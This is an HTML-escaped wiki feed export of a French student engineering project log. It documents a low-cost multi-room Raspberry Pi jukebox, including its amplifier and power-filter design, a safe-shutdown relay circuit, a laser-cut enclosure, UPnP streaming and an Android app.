* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 6V est connecté à ce circuit. Puisque la Raspberry Pi doit être alimentée en 5V, nous avons ajouté un régulateur de tension de 5V.&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, les piles ne seront plus connectées à la Raspberry ce qui les préservera en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;***REVISION B*** :&amp;lt;br&amp;gt;&lt;br /&gt;
Transistor T3 (qui connecte la RPi à la masse) en mode passant dès le branchement de la prise 5V (dans cette version, le transistor est donc déjà passant avant même que la RPi soit allumée. Evite les bugs de fonctionnement : &amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DriverButtonsREVB_Schematics.png|500px]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtonsREVB_3D_TOP.png|200px]] [[Fichier:DriverButtonsREVB_3D_BOT.png|199px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_Schematics_2.png&amp;diff=27501</id>
		<title>Fichier:DriverButtons Schematics 2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_Schematics_2.png&amp;diff=27501"/>
				<updated>2016-02-21T18:36:33Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : a téléversé une nouvelle version de « Fichier:DriverButtons Schematics 2.png »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27500</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27500"/>
				<updated>2016-02-21T18:02:36Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Boîtier du module */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
